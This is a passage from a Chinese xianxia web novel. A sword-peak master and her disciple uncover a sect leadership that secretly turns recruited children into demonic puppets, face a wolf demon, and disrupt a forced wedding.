化形之下,她反要高出上官今半个头,面若桃花,扎着小童的双髻,乖巧非常。
两个玉面的小同修出现在学堂之中,霎时有弟子眼尖瞥见,过来搭话。
好巧不巧,第一个送上门的便是独孤净。
女孩今日梳着双螺,看着比昨日还利落几分,她微微蹲下与殷吟齐平:“你好呀,你们长得好像啊,这是你的弟弟吗?”
殷吟点点头,乖乖巧巧地伸指指向上官今,脆声道:“这是我的弟弟!”
上官今默了一瞬,长睷在空中微微颤:“姐姐好。”
独孤净莞尔:“我叫独孤净,干净的净。你们也是新入门的弟子吗?”
“你好,我叫吟吟,”殷吟夹声,顺势道,“姐姐也是新弟子吗?”
“我不是喔,我已经入宗一年了,”独孤净摇头,“不过宗内现在有很多新入门的弟子,时间都很相近,年纪也与你们相仿,你们会有共同话题的。”
身为剑峰峰主,虽然负职不过一月,但‘现在’这个用词令殷吟警灯大作,倏地生疑。
她歪歪头,便好奇问道:“怎么有这么多弟子啊?”
独孤净面上焕亮:“大家都想要进颂宗学习呀,如果学得好的话,还可以被宗主和门主收为亲传弟子,由他们亲自教导呢!”
“是不是很难呢?”殷吟边问,边在心中微微数落宋宗主方才还来兼职讲师呢。
“只要认真修习就会有机会的。”
独孤净顿了顿,又道:“下个月初,我就要成为青门主的亲传弟子了。”
“哇,姐姐好棒!”
年仅九岁的上官今仰头看着活蹦乱跳的姐姐殷吟,不知该作何感想。
独孤净赧然:“还好啦,其实除了我,还有另一位同修,但她……”
殷吟接过话头:“谁?亭植姐姐吗?”
她并无头绪是谁,只是恰好有机会,便想旁敲侧击一番亭植的事情。
独孤净闻言,神色微变:“吟吟认识她?”
殷吟一睇,便发觉亭植与独孤净的关系不是很好,随口摘清关系:“我和弟弟早上迷路了,是亭植姐姐给我们指路的,但是她好像没来上课。”
“她……吟吟,学堂里有许多人都值得交朋友,你可以多和其他人玩。”
二人谈论的声音吸引了最爱黏着独孤净的叶叶,此时连怕生都顾不上,登时跑过来:“亭植姐姐,讨厌!”
殷吟一愣。
叶叶仍喊,声音愈大:“讨厌亭植姐姐!亭植姐姐说宋叔叔坏话!”
学堂中不乏弟子,近处的多少听到这话,皆神色怪异地回过头来,想近不敢。
独孤净神情陡变,急忙捂住叶叶的嘴,止住这场闹剧。
她抬眸抱赧:“叶叶年纪小,说话没个把头,不要往心里去。”
叶叶被遮了嘴,余一双恼怒的杏眼,圆圆注视着殷吟。
殷吟一看她,便忍不住回想起她的声音——
亭植姐姐,说宋叔叔坏话。
不想死,救救我!
离开的路上,殷吟脑中反反复复,皆是这几句话。
她眉心微滞,启声问一旁的上官今:“这个月……到什么时候了?”
下个月初,亭植和独孤净就要入青圭门下了。
12. 天下第一——破冻
恢复身形与容貌的上官今答道:“二十八号,还有两日便是正月。”
他方才也在留神听二人对话,自然也清楚时间上的紧张。
最坏的情况便是,她们只剩两天的时间查明此事。
腊月三十,腊月的最后一日,晨读声声,远山钟鸣,有两道身影一左一右,分立牌坊之下拜别宋宗主,常服下山。
宋宗主目送二人须臾,便心神一动,身形消失在茫茫青山之间。而后,牌坊下骤然凝出殷吟与上官今的身影。
殷吟望着远处渐成点状的二人,明明只有一道不宽的石阶,却心照不宣地互相避开,硬生生走出两条道的感觉。
“你去跟着独孤净,有状况随时联系我。”她低声吩咐上官今,而后身形一动,又消散无踪。
上官今:“……好。”
师尊今日格外有动力。
山道下至一半,便渐分出许多细支来,水流一般滋生出去。亭植与独孤净在第一个分岔口时便分道扬镳,缄默不言。
殷吟心下一动,还是将自己隐于隐身咒之下,静息尾随。
从弟子院落回来后,翌日她又故技重施找上其他落单弟子,探听到三十号时,二位新入选的准内门弟子依旧例,会有一次下山探亲的机会。
殷吟也试过用追踪咒追溯亭植的下落,但二人毕竟只见过一面,并不相熟,追踪咒出来的结果并不详细。
她担心会打草惊蛇、得不偿失,遂作罢。
亭植一路沿山道下山,气氛沉闷。
行至山下,地势便豁然开朗,有山有水,人家也从一户两户逐渐稠密起来,有面熟亭植的便会与她打个招呼。
此时,亭植则微微一笑,虽看着仍觉阴郁,但至少有了表情。
估摸走了一刻钟,亭植在一户人家面前停下脚步。
殷吟于后,只能看见她圆润的后脑勺。门前的亭植深吸几口气,发间的丝带便随之飘飘摇摇,抬手又放手,方才扬起头,走近去敲门。
“阿爹,阿娘,我回来了!”
木门从内而开,便没有再关上,殷吟顺利地随着亭植入屋。
屋中不算宽敞,朝南开了面窗,一张正方的桌子摆在窗前,妇人开完门,便一瘸一拐地落坐回去。
她见亭植没有关门,轻轻皱眉。
亭植置若罔闻:“娘……爹呢?”
妇人回她:“你爹去种地哩。”
“你最近眼睛怎么样,晚上不纳鞋底了吧?”
妇人看看桌上做了一半的鞋底,摇摇头:“少啦,听小净说你被青仙君选中,要当她的关门徒弟哩?”
亭植沉默片刻:“嗯。”
“那好哇,你当了仙君的徒弟,我们都沾光哩,以后腾云驾雾的,像神仙一样的嘞,”妇人展颜,笑得欣慰,“咋今天又回来哩?”
“宗里说,”亭植讷讷,“入内门前可以先回家一次,以后可能就……娘,你不想我哩?”
“哎呦,你这是去修习,又不是干啥子危险事,”妇人站起,挪向简陋的厨房,“中午想吃啥,娘给你做,叫你爹也回来吃呗。”
亭植马上去搀她。
二人颤颤巍巍,慢慢移向厨房。
殷吟听着,抬步跟在不远处。
虽然听人家家里事不大好,但她隐约有预感,亭植马上要说到重点了。
与颂宗、她的救助有关的重点。
“娘。”
“啥哩?”
妇人的手摸上灶台,亭植微微松开了力道,嗫嚅道:“……我不想回颂宗。”
妇人登时高声:“这是弄啥,咋就不想去哩?
你几年前咋也要上山去修习,说啥都不依哩,现在能跟着仙君修习,你又不想,你脑壳里面想的啥子呦!”
“娘!”亭植神色中浮出几分惊恐,被硬生生掐着胳膊压下去,“小声些。”
妇人脸色生黑,也觉着面上无光,声音沉下去。
“我来做饭,你去喊你阿爹回来。”
亭植没动:“娘……我不想去,我不去了,回家帮阿爹种地好不好?”
“你必须去!”
“我不去!我去了会——”亭植拔声,话至一半,她脸色微变,骤然转身背对妇人。
殷吟正正看着她,她却死死瞪着虚空,面色苍白如纸,一如那日二人初见。
妇人在背后呵她:“你出去!去找你爹!”
亭植张了张口,齿间血丝粘连,最终半个字未能说出来,只从眼眶滴下两行泪水。
她从敞开的门口出去,慢慢地阖上了那座门,而后往远处走,不知多少步时,咽下了那口腥红。
独孤府中,红绸漫天。门口寻常的红灯笼被换成有囍字的,高高悬着红光,喜庆非常。
府门之外,迎亲队伍携十里红妆,迎亲的旗锣伞扇一路蔓延,新娘面覆喜帕,在众目睽睽之下从容入轿。
殷吟随着亭植来到一片开阔的梯田,层层叠叠繁复错杂,路漫漫而无边际。
她意识到,亭植可能要逃。
亭植起初只是一直走,行尸走肉一般。在殷吟权衡着要不要截下她时,又倏地停下,借着修士的目明胜过常人,瞻望着远远起伏于田间的农人。
起初,殷吟以为她在出神。但再细究,便发现农人来来往往,她的目光只落在远远一位瘦小的农人身上,加之方才听其阿娘的话,殷吟便推测,那是她阿爹。
片刻,亭植回过身,取小道绕过,四周渐渐荒无人烟。
殷吟催动掌心的隐身咒,预备再与她交谈一番。
此时远离颂宗,方圆几里内也未感觉到其他高阶修者的灵力波动,应当是安全的。
殷吟思此,便果断剥去了隐身咒。
霎时,一阵凛冽又携着杀意的风刃直直朝她额前袭来!
殷吟惊骇,储物袋之中剑鸣乍响,如仙兽怒吼,纤细的长剑骤然破空而出,以浩荡的剑势灵巧截下此击!
破冻镂月载空的华美剑身颤动不止,似是战意已起,气势汹汹地朝来人闪动寒芒。剑柄却乖乖维持在她右手的高度,候她随时驱使。
这便是剑峰峰主的佩剑,经由玄铁与天火所炼,茫茫灵洲唯一一柄剑身雕镂的仙阶长剑。
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天下第一——破冻。
殷吟握剑,破冻在她指尖蓦然静默,无不戒备地望着来人。
那几乎不能被称为人,鼻子高翘,上下颌齐齐突出来,眼睛吊梢得骇人,通身黑气缭绕,活生生便是一只野兽。
亭植被吓坏了,仓惶往殷吟身后跑。
二人一兽对峙,殷吟微不可察地攥紧了手中剑。
她低声问道:“就是他?”
亭植揪着殷吟的衣领,音色畏惧:“……我没有见过他。”
那人渐渐走近,携着周身黑气,声音沙哑:“道生宗殷峰主,幸会。”
殷吟压下剧烈跳动的不安,将破冻剑身轻巧一挑:“你认识我?”
方才那一击速度急遽,力道狠戾,若不是破冻及时出来为她挡下,后果不堪设想,可见此人的实力绝不算低。
殷吟只空有一身修为,自知若对上他,胜算微乎其微。
她面色沉静,心中已然哭天喊地地高呼起系统。
【救命救命快救救我!】
无人回应。
“一等一宗门之中的佼佼者,我当然认识你,”怪人目光狠厉,嘴角勾出一个常人不能的弧度,“你恐怕不认识我,魔界三尊之一,沧浪。”
他言说之间,手指化作狼一般的利爪,疾速朝二人抓去!
亭植缩着脑袋朝仙君身后躲,殷吟望着那伸出的五支尖爪头皮发麻,赶鸭子上架,分不清是自己先出的剑,抑或是破冻带着她出的手。
仙君长衫飘飘,狼爪扫动携来的黑色劲风绞动空气使衣袂翻动,更显几分世外高人的出尘。她从容挥手,一剑击溃五支狼爪。
沧浪神色严峻,挥挥被剑身削出一排整齐细裂的指甲。
它本就是狼妖修炼成的魔,修为并不高于其余二位尊主,全因为小宋岭地势崎岖,群山连绵契合它的作战方式,才派了他来。
若不是被挑中的这个小姑娘非要整幺蛾子,它也不会傻到在如此开阔的田地之间出手挑战道生宗的峰主。
试探之下,沧浪发觉这位化神峰主的修为确是名不虚传,一时竟有些惴惴,不敢上前。
那道生宗的峰主也不急不躁,冷眼未动。
沧浪长目微眯:“殷峰主,我虽是魔,但也知道你们仙门喜欢光明磊落,不如撇下你身后的小鸡仔,免得你畏手畏脚。你我换个地方,一较高低如何?”
若是能引殷吟入小宋岭,他的胜算便大许多。届时先杀了她,再回来找这个走不快的小鸡仔。
殷吟冷哼:“等你碰得到我的衣角再说吧。”
此人长得不怀好意,张口却装一派伟岸,极不聪明。
沧浪狠狠咬牙,眼见诓她不成,他的目光愈发狠厉,双手缓缓化作狼爪形状,张出左右生发的獠牙,竖立的狭窄眼瞳映着破冻一丝剑芒,预备一战。
倏地,沧浪长耳一动,似有所感知,周身气势一滞,眉头便压了下去:“该死,两个都不让人省心!”
他的琥珀眼瞳之中,破冻一顿。
遥遥一侧,殷吟心念一动。
他说的是独孤净。
13. 新娘如松如竹
独孤府是小宋岭少有的富庶人家,府中独女出生之时,独孤老爷便发过话,他的女儿长大后,只能嫁此地最为尊贵的公子。
无权不可,无钱不可,无才不可。
众人言说纷纭,都等着瞧这含着金钥匙长大的独孤小姐会许给哪户人家,不知不觉暑去冬来。
在独孤净十四岁那年,小宋岭没有等来独孤家定亲的消息,反倒是独孤小姐入了颂宗修习,成了仙君。
既成仙君,那便不可能许人,此事就此作罢。
未曾想,只过一年,独孤老爷突然传出消息,言明将与崔县令家结亲,大摆宴席,邀小宋岭百户人家到场观礼。
崔府前人头攒动,迎亲队伍自远处款款而来,敲锣打鼓、极尽热闹地将新娘由独孤府一路谨细护养至此。
锣鼓喧天,凤萧声动,如人间仙境一般,最前头喜牌到崔府门口时,送亲的叔伯还落在市集之中,一把泪一把泪地揩。
漫天飞花之中,雕梁画栋的花轿停轿落肩,新娘遗世独立的高挑身形自帘中出,霎时引来无数赞叹。
仙君果真不凡,与那青年才俊玉树临风的崔府公子立于一处,竟不遑多让,风姿卓然。
崔府门前立着熊熊燃烧的火盆,喜娘耳语小心,扶她去跨。
小宋岭旧俗,火盆越旺,未来家宅运气越旺。
新娘被搀着缓缓向前,低下的目光触及那火盆时,稍稍停下。
喜娘问她为何,新娘眉目微动,一声‘害怕’尚未出口,长风忽至。
狂风骤起,将队伍最前头披着红绸的喜牌一把掀飞,在虚空之中翻覆不止,重重摔作了两块,碎片又迎风而起。
街上人惊慌失措,这并非寻常的狂风,普通人仍能在风中感知到浓厚的驱逐之意,隐含杀气,令人不寒而栗,当下作鸟兽散。
迎亲队伍前头,乌黑的高马躁动地左右转圈,被御者紧提缰绳止住动作。
崔住身着红袍,侧头喊道:“快!带独孤小姐先进去!”
喜娘仓促应声,也顾不上火盆未跨,急急忙忙领着独孤净绕过入门。
独孤净被安置在偏厅之中。
外头人声鼎沸,那风生得怪异,应是修士所为,又来者不善,意欲搅乱婚礼。
偏厅之中寂静无人,独孤小姐端坐左侧主位,双手置于膝上,在艳色喜服的衬托之下更显白皙如玉。
喜帕轻盈地遮挡她的面容,垂至虚空之中无风自动,底下似有珠翠满顶,云鬓繁复,华贵非常。
风声鹤唳,她恍然觉着屋顶之上似乎有人,欲细究又无声息,只偶有一下一下的剑鸣,和着喜帕飘动的幅度,在心上绽开。
亦虚亦实。
独孤小姐眉头微蹙,她的感知之中,偏厅周围的人息正逐渐稀少,一股被刻意隐匿的灵力渐渐迫近。
她修长的白皙手指在空中轻挥,意欲感清。下一刻,急促的脚步与大门打开的声音纷至沓来。
隔着朦胧的喜帕,她微微仰头看来人。
光自来人的身后照入厅中,将她眼中的喜帕映出如琉璃流转的光晕来,随来人渐近的身形浮光跃金,如坠幻境。
艳红之中,仙君的身形被一圈淡淡的光勾勒出来,飘渺孤鸿。
殷吟上前握住独孤净的手腕,欲带她离开。
在郊外梯田,她听亭植短述了独孤净的家世,便依她所指直往崔府来。
沧浪也欲劫回独孤净,但他毕竟是魔,在县中有所顾忌不敢全力,便被破冻一剑封了去路。
新娘身形一晃,不动。
殷吟疑惑,回身唤她:“你还记得我吗?我是前几日到颂宗的殷吟。
我不是来做坏事的,无论如何,现在这里很危险,你先跟我走,我一会儿再与你解释。”
新娘仍抬着头,喜帕之下,似乎有一双眼睛一瞬不瞬地回望着她。
殷吟微微拧眉。
她虽不熟悉独孤净,但每次见她时,都能明显地感觉到她是真心喜欢在颂宗修习的。为何只是返家不到半天,便反不想走了?
怕不是什么东西魇住她了。
“独孤小姐,你在听吗?”
偏厅之上,破冻仍一力战着沧浪,二人有来有回,一时相峙。
殷吟感知到,另有一道灵力往崔府来了。
“失礼。”她心中焦急,便顾不上礼数周不周全,凑近去翻新娘的喜帕。
意料之外,她轻而易举便摸到新娘掩面的喜帕,帕子材质顺滑,触之生寒。霎时,殷吟用力攫住它,一把掀开。
红帕翻动,从殷吟头顶往后掠,遮出帕下一片潋滟,目之所及皆泛着红光。
流光溢彩之中,她看见新娘的双眼,微冷的面上未着粉黛,如松如竹,黑瞳沉沉注视着她。
殷吟愣住。
上官今垂眼错开她的目光,欲要启声。
殷吟却面容冷冽,抬履使力踩了他一脚。
上官今不敢动作:“师尊,疼。”
殷吟怒气冲冲:“我让你看着独孤净,你嫁崔府干什么?!”
逆徒!
我要把你扔下剑峰!
红帕自二人身后颓然落地,无声无息。
二人离得近,上官今几乎能清晰地数出殷吟微翘的睷毛的数目。他不敢作声,低下头去看她履头的鸠鸟:“她家中人逼她嫁来,她说宁死不嫁,我就将她暂藏在独孤府中。”
殷吟又好气又好笑:“然后你就亲自来了?”
“我想若是入内门的事有问题,必会有人来阻止婚礼。”
殷吟心神一动,觉得他说的确有道理。
这场婚礼钓出了两条鱼,沧浪,与她方才感知到的那道往崔府而来的灵力。
宋木已翩然而至。
他立于偏厅之外,眼见檐上狼妖退避,那柄传言之中的天下第一名剑遁墙没入厅中,微压声线:“打扰,殷峰主,在下可否进来?”
殷吟凉凉地回望上官今一眼:“你完了。”
谁让你有状况不汇报!
她最终没有狠下心来,还是使了个诀将上官今一袭红衣换去,随意变出一身常服。
至颂宗数日,宋木与青圭向来待她们礼遇有加,此时两人齐齐垒在她面前,殷吟才第一次知道气氛怪异是何感觉。
宋木叹了口气:“殷峰主,在下相信您的为人,只是此事实在牵扯颇大,若是不能妥善处理,颂宗恐难以在小宋岭立身啊!”
殷吟点头:“我明白。”
“如此甚好,为避他人闲话,还请峰主允许,让我们对您的徒弟进行查问,也还令
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徒一个清白。”
殷吟疑惑:“怎么查?”
宋木朗声笑:“殷峰主有所不知,青门主乃我颂宗规门门主,主掌宗内大小宗规事务与弟子纠纷的是非对错,在她眼中,一切谎言皆无处遁形。
且此事始末,青圭未曾参与。由她来查,最为公允,也服人。”
“那便再好不过,”殷吟点点头,意料之外地好说话,将上官今往前一推,“请吧。”
上官今抿唇不语。
师尊还在生气。
青圭抬手作请,二人移步至规门之内。
而后石门沉重掩上,上官今在微弱光线之中发觉,这间半圆的石屋在缓慢旋转,像孩童玩的抽陀螺一般。
青圭立于对面,随着石屋旋转,她亦往反方向走动,青衣逶迤拖地,如一毒蛇:“所谓规门,其实门下并无弟子,不过便是如此一间石屋,无光无声,但颂宗内所有纠纷事宜,皆由我于此定夺。”
她声音冷厉,如鬼魅一般,上官今维持着与她对峙的距离:“你原来会说话。”
青圭轻呵,不为所动:“我平日不言语,但每次说话,便必要套出对话人心中的想法,这也是我所修的道。”
“套不出来,会怎么样?”上官今一手虚拂着坠挂的苍山,一手掩于袍下。
“不必套我的话,我修此道五十年,岂会被你一个小儿轻易识破?”
青圭阖目片刻,复而眨眼,眸中已有星星点点的幽绿光芒跳动,似是一尾弓身收颈、蓄势待发的眼睛蛇。
上官今垂眼不看,步履从容。
“第一个问题,你为何会在独孤府?”
他摇头,束起的长发拂过脊背,墨黑染着衣袂的卵色:“你不过颂宗一门主,宗主尚不能干预我去向,我往何处又干你何事?”
“第二个问题,你到独孤府,意欲何为?”
“独孤府富丽堂皇,美轮美奂,不像此处呕哑嘲哳,你说孰好孰坏。”
青圭目光紧紧攫着他的脚步,石屋的轮转肉眼可见地加快:“……你不看我也没用,我的咒会影响周遭的环境,到最后,这间石屋之中都会布满我的法术!”
“哦,所以你就修了一个乌龟壳,躲在这种地方作威作福,然后宣称自己所向披靡。”上官今抬眼时,青圭的眼睛几乎为那种不可名状的幽绿取代,身侧也隐隐烧出绿色星点。
他一双黑瞳无喜无悲,似乎只是在陈述事实:“修五十年道,结果把自己修成平日口不能言的怪物,你夜深人静时会不会不想活?”
“回答我的问题!”青圭引吭狠声,她的通身霎时光芒大盛,幽绿以破竹之势迸至整间石屋。
双生镜应声而出,黄铜的镜面在青圭全绿的眼前一晃,竟在石屋之中泛出铜色的金属光泽,生生拗过了那片幽绿,将其尽数逼回青圭眼中!
“啊!”
青圭惨叫一声,捂着刺痛的双眼倒在地上。眼中仿佛有无数细细密密的绣花针插入,令她呼吸都牵扯出疼痛。
石屋的旋转未停,殷吟悠悠晃到青圭面前。
青圭不过是一位元婴的修者,威胁尚比不上半个沧浪。她只消通过双生镜放出威压,便可逼退青圭的法术,反噬至青圭本人身上。
“第一个问题,你与亭植是什么关系?”
14. 我背师尊好不好
青圭声音细如蚊蚋:“她……是我未来的亲传弟子。”
殷吟不耐,镜面飘回上官今手中:“说实话。”
“……亭植是,第十一代试验品,”青圭说话断断续续,却好像被什么威胁着,不止地补充,“我和宋木从去年开始,在小宋岭招适宜的童子入宗,以收为内门弟子为借口,暗地尝试将人炼为魔傀。”
殷吟背后一寒,示意上官今把她拿离青圭远一些:“你们成功了吗?”
“……第十次时,我们成功将一个弟子炼成了傀儡,但他没有思想不听人言,便只能杀——”
石屋的转动缓缓停下,青圭的声音也戛然而止。
殷吟抿唇,心知已经问不出话了。
上官今将镜翻转过来,面向自己,轻声道:“宋宗主一会儿又要说我干坏事了。”
“拿高一点。”
上官今将双生镜举高,殷吟平视着他清隽优越的眉骨,满意地点点头。
“近去看看,她没有套出想听的话会怎么样?”
殷吟本想干脆待套完话后使用消忆术消去青圭的记忆,如此她就算察觉不对,碍于身份也无法如何。
但青圭方才的那席话打乱了她的计划。
“我不知道。”上官今回道,依言上前,矮身观察着青圭的动向。
青圭仍伏在地上,双手掩目,模样极为痛苦。
上官今下结论:“她很痛。”
“废话。”殷吟回道,一手画了个治愈符压入镜中,霎时自上官今手中的双生镜浮现出来,飘飘然飞入青圭面中。
青圭动作一滞,旋而,迟缓又呆滞地放下了掩面的双手。
她抬头看面前的上官今一眼,从履子到发冠,而后支地站起来,一言不发地朝石屋的石门去。
上官今:“师尊,要不要拦?”
“先看看。”
青圭在石门前站定,而后一手覆上石门,用力想将它拉开。
殷吟顿了顿:“她这是……被魇住了?”
上官今带着她渐渐走近,在青圭身后观察着她的动作:“或许是。”
“……我去叫宋木开门。”殷吟望着青圭因用力而清晰的青筋,心知指望她来开门是遥遥无期了。
上官今应声,将双生镜收回袖中。片刻,石门果然又开。
他缀在青圭之后出去,便见宋木与殷吟一左一右,分立两侧。
宋木用目光询问青圭,那袭绿衣不声不响,不闻不问,径直往远处走。
宋木面色微沉。
偏生殷吟还在他身后问:“既然查明无事,那便散了?”
“辛苦殷峰主,我自去崔府言明此事,峰主自便。”他咬牙温声,身形骤灭。
上官今走近,将双生镜双手递还,试探问道:“师尊,我们回去吗?”
殷吟:“嗯。”
若是精力允许,现下还有一件紧要的事情——联系上独孤净。亭植那处,她留了一个通讯咒,自能随时联系,独孤净却自独孤府便无了联系,眼下不知是何情况。
但她今日以灵力注剑对战沧浪,又在各地流转使咒,消耗过大。有沧浪在外,也不好让上官今一人去查。
只能暂歇半日,此事作罢。
殷吟按按太阳穴,觉得眼下整个人像是被包在一层隔绝天日的膜中,连痛觉传进来都模糊了几分。
她旋身往外走,步履还未动,便恍惚了一下,霎那整个天地都在轰鸣着摇晃。
上官今眼底一动,抬步上前扶她。
殷吟的后脑勺轻轻撞在他的肩上时,压着头发细碎响动,像是碾碎了一块翡翠,粉末零零碎碎,全扎在皮肤上。
上官今垂睫,细细辨她神色。
殷吟倚在他肩上,一双平日弯弯的细眉紧蹙,她的生机如常,表情却似是痛苦,睫毛轻轻颤动。
他心觉古怪,轻声唤道:“师尊?”
殷吟的长睫忽地颤了一颤。
【几天不见,你怎么闯了这么大的祸?】
天地轰鸣,声波无孔不入地刺激着她的耳膜,熟悉的声音从脑中传出时,方给了殷吟一丝喘息的空间。
“什么叫这么大的祸?”
她想质问系统,早些时候它怎么不出来,她差点都被那只狼妖单方面虐菜了。
但眼下,质问系统对她没有好处。
系统冷漠的声线传出来。
【沧浪是魔界的三尊主之一,你现在的实力打不过它】
若不是检测到世界走入了一条几乎回天乏术的死路,它也不会出现。
“……是我要它出来的吗?不是它自己跑出来,一口一个一决高下?”殷吟试图讲道理。
【若不是你先来到小宋岭,插手这件事情,沧浪现在也碰不到你】
“那我不能坐视不理吧?”
【无所谓,这与任务无关】
殷吟:“……”
系统默不作声,世界便又嗡嗡作响起来,殷吟愈烦:“那现在怎么办,你来找我,是有什么解决办法吗?”
【我不是找你,我本身就是依附着你存在于这个世界的系统】
【虽然任务要失败了,但依照系统手则,你触发了支线任务并推进到了一定进度,我应该要发放奖励】
殷吟静默片刻,终于理清一件事情。
这个系统一直都在,眼睁睁地看着她走偏剧情进入死路,一路上不管不顾。
一直到现在,小宋岭的任务推进到了不知道哪里,它才想起来要发放奖励……
怎么她的系统是这么一个无情无义的甩手掌柜!
系统无视她怒气冲冲的目光,兀自继续。
【小宋岭50%进度奖励发放后,你完成该支线任务的成功概率大大提高,值得一试】
殷吟气笑:“谢谢你的评价。”
系统不再作声,虚空之中不知从何飘出一个星点,没入她眉心之间,殷吟恍然睁眼。
上官今眼瞳蓦然映出她的光采,微微颤动:“师尊,你还好吗?”
殷吟动了动僵硬的脖颈,确定两耳不再嗡嗡鸣响,站直身子,心情稍霁:“没事。”
上官今眼底微黯。
殷吟在前兀自晃着发昏的头脑,感觉走路像踩在一地五彩斑斓的棉花糖上。
系统发放的奖励是一个剑诀,她眼下的情况是灵力使用透支所致,并不能因此得到改善。
上官今缀行于后,眼瞳乌黑。片刻,他抬步与殷吟并行:“师尊,我背你好不好?”
殷吟步子一顿。
上官今心中惴惴,也随她停下步子。
他多走了半步,此时微微偏回头来,目光闪烁明灭,像是在走下小宋岭的山路,崎岖来回。
须臾之后,殷吟倚在他背上发呆。
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“好困。”
“睡一会儿?”上官今轻声回道,声音由背脊传导,听起来像被浸在水中泡了半夜。
殷吟有力无气地摇头:“冷。”
不是立春时节寒风凛凛的冷,是灵池枯竭、从骨骼之中渗出的冷意。
但她说不出来这么多字。
上官今默了一瞬。
殷吟朦朦胧胧感觉,握着她脚踝的右手微微动作,有一指尖时有时无地隔着衣摆扫过她踝间。
“你在干什么?”
上官今画完最后一笔,将符咒轻轻点在她身上,那一点又湿又凉。
殷吟觉得奇怪,正想问问他是什么怪咒,却感觉四周浓郁的灵气正亲昵地朝她而来,点点沁入皮中,包裹着了骨头里的阴冷。
她眼皮沉沉,闭眼睡去。
上官今看着路,认真回她:“不干什么。”
在崔府的偏厅之时,殷吟将储物袋中一面双生镜递与他,那时她的指尖也隔着衣料按在他身上。
入石屋时,双生镜被他掩在长袍之下,殷吟向他传音。
“你去激怒她。”
上官今默然。
“上官大人有何高见?”殷吟还沉浸在对上官今隐瞒不报的怒火中,见他不应,柔声发问。
上官今霎时想象出她说此话时皮笑肉不笑的画面,背脊生寒,便如实问道:“师尊,怎么激怒她?”
双生镜另一端,殷吟的声音停顿片刻。
半晌,上官今方才听到——
“你正常说话就好。”
师尊说他一说话就非常气人。
殷吟坠入梦境中,睁眼便看到一片寂无。
无明无暗,无大无小,殷吟只能感觉到空间,还有手中握着的破冻,剑柄寒冷。
这个空间很奇怪,殷吟不知自己是何时又或是如何进入的,但她心中却莫名笃定这是一个梦境,绝对安全。
她思绪跳动,想到亭植叙说独孤净的家事时,口吻自然亲昵,想到上官今问她‘怎么激怒青圭’,令她哑口无言,最后想到系统奖励的那张剑诀。
虚无之中,声音骤响。
【你在干什么】
“想事情。”
【……虚无空间不是让你想事情用的】
“那我要干什么?”殷吟耸肩,“猜谜语还要有个谜面呢,你什么都不说,指望我无师自通?”
【无趣】
系统眼见说不过她,贬低一声后另起话题。
【这里是虚无空间,十天后会自动关闭。期间你可以在这里练习奖励给予的剑诀,提升的熟练度会在正式使用剑诀时等额返还】
殷吟说得迷糊,在脑海中调出那张剑决的使用说明。
剑诀三百零九号:消耗品,使用后十五分钟内提升对该剑诀的熟练度。
“原来不是直接把熟练度给我?”
【当然不是,所以我说有概率成功,值得一试】
殷吟:“……”
她起初以为是这张剑诀不够厉害,照这么说,如果她在这练到出神入化,出去后岂不就是百分之百成功?
系统猜到她在想什么,冷冷化作一个显示屏,高悬于顶。
【虚无空间关闭倒计时:九天二十三时四十二分零九秒】
“聊天时间也算?!”殷吟骂骂咧咧,马上提剑,在心中展开剑诀。
15. 听话
风刃破空,榻上浅眠的独孤净双眼乍睁,偏头躲过此击,反手作掌击去。
亭植瞳孔骤缩,抽身避开。
独孤净坐起,勾鞋穿上,慎之又慎地目审着来人:“你怎么在这……这是哪里?”
她记得她回独孤府时,见外头牌匾挂着红绸,便留了心眼,从后门遁进去问熟识的丫鬟。
丫鬟颤颤巍巍地告知实情,独孤净心下一寒,侧掌轻巧打晕丫鬟,随后想原路返回。
她回身时,看见殷峰主身旁那个亲传弟子,正目光沉沉看着她,指尖白光闪动。
独孤净思绪回笼,打量四下。
亭植咬唇,目光流转在少女与门口之间,神色焦急:“阿净,来不及了,你先和我出去!”
她本想打晕独孤净好带她离开。不想惊醒了她。
桌上的茶具是新芽般翠绿的莲座盖碗,颂宗的行制。
独孤净推敲是宗主把她带回来了。
“别那样叫我……亭植,你日前便不上院落学堂,现在有什么脸再出现在这里?”
亭植蹙眉:“阿……独孤净,再不出去就来不及了!”
独孤净:“我不知道你是被什么东西迷了心窍,但你要走就走,少与我攀关系。”
“你为什么不信我?”
“我不像你,你阿爹阿娘都同意你入颂宗修习,”独孤净冷声,又回想起独孤府上触目惊心的红绸,下意识地攫住拳,“我不留在颂宗,我就没有路可以走了。”
“一年前,我就是这么和你说的,不是吗?”
亭植一顿。
一年前,新春方过,颂宗宋宗主便亲自下山,极其殷勤,说要再提前开选新弟子入宗修习。
颂宗与小宋岭百姓相互依存,素来关系不错,村民们自然应允,欢天喜地地张罗安排。
她与独孤净便是当时一同入宗。阿净说她偷听到了独孤老爷与夫人商量给她议亲,若不入颂宗,便避无可避那崔府的亲事。
亭植摇头:“阿净,并不是只有入颂宗一条路,天下之大,多的是去处——”
她言语未尽,独孤净掌风已至。
亭植反身接掌:“阿净?”
“亭植,”独孤净又再起势,踩出一个利落的弓步,“你我早知说服不了彼此,不必多费口舌。”
“你要和我打?”亭植拧眉,见独孤净近身击来,她移步格挡,掌中凝集的灵力霎时炸响。
独孤净旋身踢腿,携着破空的凛冽气势再次攻去。
亭植节节败退,神色愈发凝重。她分神抽出一股灵力,窄袖中扇出一只泛光的蝴蝶。
独孤净神色微凝,抬手去拦,却被亭植一掌击退。
她神情一凛,疾身又再逼近那只蝴蝶:“你要找谁?”
亭植一面防守,一面护着光蝶:“殷峰主。”
眼见独孤净不肯放过,亭植凝身聚气,身周忽地爆出一阵剧烈的灵力波动,独孤净遮眼避开,落在远处掩面咳嗽。
再抬眼,蝴蝶已然不见踪影。
亭植扶墙调息,四肢不休不止地传来雷击一般的剧烈痛意,令她唇色骤白。
独孤净想上前拿住她,恰好木门蓦地咔哒一声,宋木的身形无声无息地出现。
他踱步而入:“你们这是在做什么?”
“宗主,刚刚……”独孤净沉声。
她话未言尽,一旁的亭植骤然扬声夺言:“宋木!你还要骗大家到什么时候!”
宋木神情微凛,抬眼望去:“亭植,我骗大家什么了?”
亭植狠狠攫拳,白净的指甲齐齐深嵌入肉。
宋木料定她说不出所以然来,所以才这般有恃无恐。
她身中青圭的锁声咒,不可言明真相,否则便会烈火焚喉,烧身而死。
可是,若现在不说,难道便能活了吗?
亭植心一横:“你以收为内门弟子之名实行诓骗,实际是将弟子炼成傀儡!”
此言一出,当场之人皆是怔愣。
亭植低头看自己的弟子服,瞳孔震动不止。
她竟然说出来了。
【虚无空间关闭倒计时:零天零小时一分钟零秒】
虚无空间之中,骤然拔高出连绵的万仞群山,颜色深黑浓墨,似是一个个张大口要将人吞食的妖魔。
